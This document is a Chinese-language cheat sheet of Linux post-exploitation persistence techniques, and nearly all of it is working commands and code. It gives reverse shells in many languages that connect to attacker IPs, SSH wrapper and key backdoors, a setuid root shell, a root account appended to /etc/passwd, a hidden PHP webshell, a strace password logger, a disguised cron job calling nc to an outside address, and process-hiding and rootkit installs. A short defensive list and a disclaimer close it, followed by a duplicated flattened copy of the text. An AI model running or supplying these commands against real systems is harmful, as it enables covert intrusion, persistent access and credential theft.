Linux下的权限维持
字数 694 2025-08-25 22:58:34

Linux权限维持技术详解

0x00 关于权限维持

权限维持是指在获得目标系统初始访问权限后,通过各种技术手段保持对目标的持续控制。目的是确保即使被发现或系统重启,攻击者仍能重新获得访问权限。

0x01 获得初始权限

反弹Shell技术

  1. Bash反弹

    bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
    bash -i 5<>/dev/tcp/host/port 0>&5 1>&5
    
  2. Perl反弹

    perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    
  3. Python反弹

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    
  4. PHP反弹

    php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
    
  5. Ruby反弹

    ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
    
  6. Netcat反弹

    rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f
    

SSL加密反弹Shell

  1. 生成SSL证书:

    openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
    
  2. 监听端:

    openssl s_server -quiet -key key.pem -cert cert.pem -port 443
    
  3. 目标端:

    mkfifo /tmp/wing;/bin/bash -i < /tmp/wing 2>&1 |openssl s_client -quiet -connect 1.1.1.1:443 > /tmp/wing
    

提升交互性

python -c 'import pty; pty.spawn("/bin/bash")'

或使用socat:

socat file:`tty`,raw,echo=0 tcp-listen:9999
# 目标端
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:111.111.111.111:9999

0x02 权限维持技术

SSH后门技术

  1. SSH软连接

    ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
    
  2. SSH Wrapper

    cd /usr/sbin/
    mv sshd ../bin/
    echo '#!/usr/bin/perl' >sshd
    echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
    echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
    chmod u+x sshd
    /etc/init.d/sshd restart
    # 连接方式
    socat STDIO TCP4:target_ip:22,sourceport=13377
    
  3. SSH Key写入

    ssh-keygen -t rsa
    chmod 600 ~/.ssh/authorized_keys
    chmod 700 ~/.ssh
    
  4. SSH隐身登录

    ssh -T username@host /bin/bash -i
    ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash -if
    

隐藏技术

  1. 隐藏文件

    touch .wing.py
    
  2. 隐藏权限

    chattr +i file  # 加锁
    chattr -i file  # 解锁
    
  3. 隐藏历史命令

    set +o history  # 禁用历史记录
    set -o history  # 恢复历史记录
    # 删除指定历史记录
    sed -i "100,$d" .bash_history
    

端口复用技术

  1. SSLH工具

    apt install sslh
    # 配置/etc/default/sslh
    DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"
    service sslh start
    
  2. iptables端口复用

    # 端口复用链
    iptables -t nat -N LETMEIN
    # 端口复用规则
    iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
    # 开启开关
    iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
    # 关闭开关
    iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
    # 应用规则
    iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
    

进程隐藏技术

  1. libprocesshider

    git clone https://github.com/gianlucaborello/libprocesshider.git
    cd libprocesshider/ && make
    cp libprocesshider.so /usr/local/lib/
    echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
    
  2. linux-inject

    git clone https://github.com/gaffe23/linux-inject.git
    cd linux-inject && make
    ./inject -n sample-target sample-library.so
    
  3. Vegile

    # 生成后门
    msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=IP LPORT=PORT -f elf -o backdoor
    

其他后门技术

  1. Setuid/Setgid后门

    #include <unistd.h>
    void main(int argc, char *argv[]) {
        setuid(0);
        setgid(0);
        if(argc > 1)
            execl("/bin/sh", "sh", "-c", argv[1], NULL);
        else
            execl("/bin/sh", "sh", NULL);
    }
    

    编译并设置:

    gcc backdoor.c -o backdoor
    cp backdoor /bin/
    chmod u+s /bin/backdoor
    
  2. inetd后门

    # /etc/inetd.conf
    fido stream tcp nowait root /bin/bash bash -i
    
  3. 添加后门账户

    perl -e 'print crypt("wing", "AA"). "\n"'
    echo "weblogic1:AAyx65VrBb.fI:0:0:root:/root:/bin/bash">>/etc/passwd
    
  4. ICMP后门

    # 使用prism项目
    gcc -DDETACH -m64 -Wall -s -o prism prism.c
    
  5. DNS后门

    # 使用dnscat2
    sudo ruby dnscat2.rb --dns "domain=attck.me,host=192.168.123.192" --no-cache
    
  6. VIM后门

    # wing.py
    from socket import *
    import subprocess
    import os, threading, sys, time
    if __name__ == "__main__":
            server=socket(AF_INET,SOCK_STREAM)
            server.bind(('0.0.0.0',666))
            server.listen(5)
            print 'waiting for connect'
            talk, addr = server.accept()
            print 'connect from',addr
            proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
                    stdout=talk, stderr=talk, shell=True)
    

    执行:

    $(nohup vim -E -c "py3file wing.py"> /dev/null 2>&1 &) && sleep 2 && rm -f wing.py
    
  7. PAM后门

    # 使用https://github.com/litsand/shell项目
    
  8. \r后门

    echo -e "<?=\`\$_POST[wing]\`?>\r<?='Wing  ';?>" >/var/www/html/wing.php
    
  9. strace后门

    ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
    
  10. Tiny shell

    # 编译
    ./compile.sh linux IP PORT [PASSWORD] [DELAY]
    # 目标端
    umask 077; HOME=/var/tmp ./tshd
    # 控制端
    tsh targetip
    
  11. 定时任务

    (crontab -l;printf "*/1 * * * * /usr/bin/nc 30.157.170.75 1389 /bin/sh;\rno crontab for `whoami`%100c\n")|crontab -
    

0x03 Rootkit技术

Rootkit分类

  1. 应用级Rootkit:替换系统命令如ls、ps等
  2. 内核级Rootkit:通过加载内核模块实现
  3. 硬件级Rootkit:存在于硬件固件中

Reptile Rootkit

# 安装
git clone https://github.com/f0rb1dd3n/Reptile
cd Reptile && make
sudo ./setup.sh install

防御建议

  1. 定期检查系统异常进程和网络连接
  2. 监控关键系统文件和目录的修改
  3. 限制不必要的SUID/SGID权限
  4. 使用完整性检查工具如AIDE
  5. 保持系统和软件更新
  6. 实施严格的访问控制和审计

以上技术仅供安全研究和防御使用,请勿用于非法用途。

Linux权限维持技术详解 0x00 关于权限维持 权限维持是指在获得目标系统初始访问权限后,通过各种技术手段保持对目标的持续控制。目的是确保即使被发现或系统重启,攻击者仍能重新获得访问权限。 0x01 获得初始权限 反弹Shell技术 Bash反弹 Perl反弹 Python反弹 PHP反弹 Ruby反弹 Netcat反弹 SSL加密反弹Shell 生成SSL证书: 监听端: 目标端: 提升交互性 或使用socat: 0x02 权限维持技术 SSH后门技术 SSH软连接 SSH Wrapper SSH Key写入 SSH隐身登录 隐藏技术 隐藏文件 隐藏权限 隐藏历史命令 端口复用技术 SSLH工具 iptables端口复用 进程隐藏技术 libprocesshider linux-inject Vegile 其他后门技术 Setuid/Setgid后门 编译并设置: inetd后门 添加后门账户 ICMP后门 DNS后门 VIM后门 执行: PAM后门 \r后门 strace后门 Tiny shell 定时任务 0x03 Rootkit技术 Rootkit分类 应用级Rootkit :替换系统命令如ls、ps等 内核级Rootkit :通过加载内核模块实现 硬件级Rootkit :存在于硬件固件中 Reptile Rootkit 防御建议 定期检查系统异常进程和网络连接 监控关键系统文件和目录的修改 限制不必要的SUID/SGID权限 使用完整性检查工具如AIDE 保持系统和软件更新 实施严格的访问控制和审计 以上技术仅供安全研究和防御使用,请勿用于非法用途。